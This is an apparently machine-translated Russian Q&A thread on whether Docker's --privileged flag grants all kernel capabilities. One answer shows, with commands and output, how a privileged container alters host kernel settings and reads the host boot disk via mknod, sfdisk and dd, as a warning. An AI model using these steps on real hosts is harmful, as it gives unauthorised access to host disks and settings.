Привилегированные контейнеры и возможности
Если я запускаю контейнер в привилегированном режиме, он имеет все возможности ядра или мне нужно добавить их отдельно?
4 ответа
Работа в привилегированном режиме действительно дает контейнеру все возможности. Но хорошей практикой является всегда предоставлять контейнеру минимальные требования, которые ему необходимы. Если вы посмотрите документы Docker, они также ссылаются на этот флаг.
Полные возможности контейнера (--privileged)
Флаг --privileged предоставляет все возможности контейнеру, а также снимает все ограничения, налагаемые контроллером cgroup устройств. Другими словами, контейнер может делать почти все, что может делать хост. Этот флаг существует, чтобы разрешить особые варианты использования, такие как запуск Docker в Docker.
Вы можете дать определенные возможности, используя --cap-add
флаг. Увидеть man 7 capabilities
для получения дополнительной информации об этих возможностях. Можно использовать буквенные имена, например --cap-add CAP_FOWNER
,
Поскольку этот пост занимает высокое место в рейтинге поиска Google, я хотел добавить информацию о том, почему вы никогда не хотите запускать контейнер, используя --privileged
Я делаю это на своем ноутбуке, который имеет диски NVMe, но он будет работать для любого хоста.
docker run --privileged -t -i --rm ubuntu:latest bash
Сначала давайте сделаем что-то незначительное, чтобы протестировать файловую систему /proc
Из контейнера:
root@507aeb767c7e:/# cat /proc/sys/vm/swappiness
60
root@507aeb767c7e:/# echo "61" > /proc/sys/vm/swappiness
root@507aeb767c7e:/# cat /proc/sys/vm/swappiness
60
ОК, это изменило его для контейнера или для хоста?
$ cat /proc/sys/vm/swappiness
61
Упс!, мы можем произвольно изменить параметры ядра хоста. Но это всего лишь ситуация в DOS, давайте посмотрим, сможем ли мы собрать привилегированную информацию с родительского хоста.
Пройдемся /sys
дерево и найдите младший младший номер для загрузочного диска.
Примечание: у меня есть два диска NVMe и контейнеры, работающие под LVM на другом диске
root@507aeb767c7e:/proc# cat /sys/block/nvme1n1/dev
259:2
OK позволяет создать файл устройства в месте, где правила dbus не будут автоматически сканироваться.
root@507aeb767c7e:/proc# mknod /devnvme1n1 b 259 2
root@507aeb767c7e:/proc# sfdisk -d /devnvme1n1
label: gpt
label-id: 1BE1DF1D-3523-4F22-B22A-29FEF19F019E
device: /devnvme1n1
unit: sectors
first-lba: 34
last-lba: 2000409230
<SNIP>
Хорошо, мы можем прочитать загрузочный диск, давайте создадим файл устройства для одного из разделов. Пока мы не можем установить его, так как он будет открыт, мы все еще можем использовать dd
скопировать это.
root@507aeb767c7e:/proc# mknod /devnvme1n1p1 b 259 3
root@507aeb767c7e:/# dd if=devnvme1n1p1 of=foo.img
532480+0 records in
532480+0 records out
272629760 bytes (273 MB, 260 MiB) copied, 0.74277 s, 367 MB/s
Хорошо, давайте установим его и посмотрим, сработали ли наши усилия!!!
root@507aeb767c7e:/# mount -o loop foo.img /foo
root@507aeb767c7e:/# ls foo
EFI
root@507aeb767c7e:/# ls foo/EFI/
Boot Microsoft ubuntu
Так что в основном любой контейнерный хост, который вы позволяете любому запустить --privileged
Параметр container on - это то же самое, что предоставить им root-доступ ко всем контейнерам на этом хосте.
К сожалению, проект docker выбрал модель доверенных вычислений, и вне плагинов аутентификации нет способа защититься от этого, поэтому всегда возникает ошибка при добавлении необходимых функций по сравнению с использованием --privileged
Есть хорошая статья, покрывающая от RedHat, покрывающая это
Хотя Docker-контейнер, работающий от имени пользователя "root", имеет меньше привилегий, чем root на хосте, он все же может нуждаться в усилении защиты в зависимости от вашего варианта использования (использование в качестве среды разработки против общего производственного кластера)
Вместо того, чтобы менять swappiness, вы можете просто записать в него то же значение и проверить, что вы получите в ответ:
Непривилегированный докер:
root@8191892d9f7f:/# cat /proc/sys/vm/swappiness
20
root@8191892d9f7f:/# echo 20 > /proc/sys/vm/swappiness
bash: /proc/sys/vm/swappiness: Read-only file system
Привилегированный докер:
root@7c6c0a793ca0:/# cat /proc/sys/vm/swappiness
20
root@7c6c0a793ca0:/# echo 20 > /proc/sys/vm/swappiness
root@7c6c0a793ca0:/#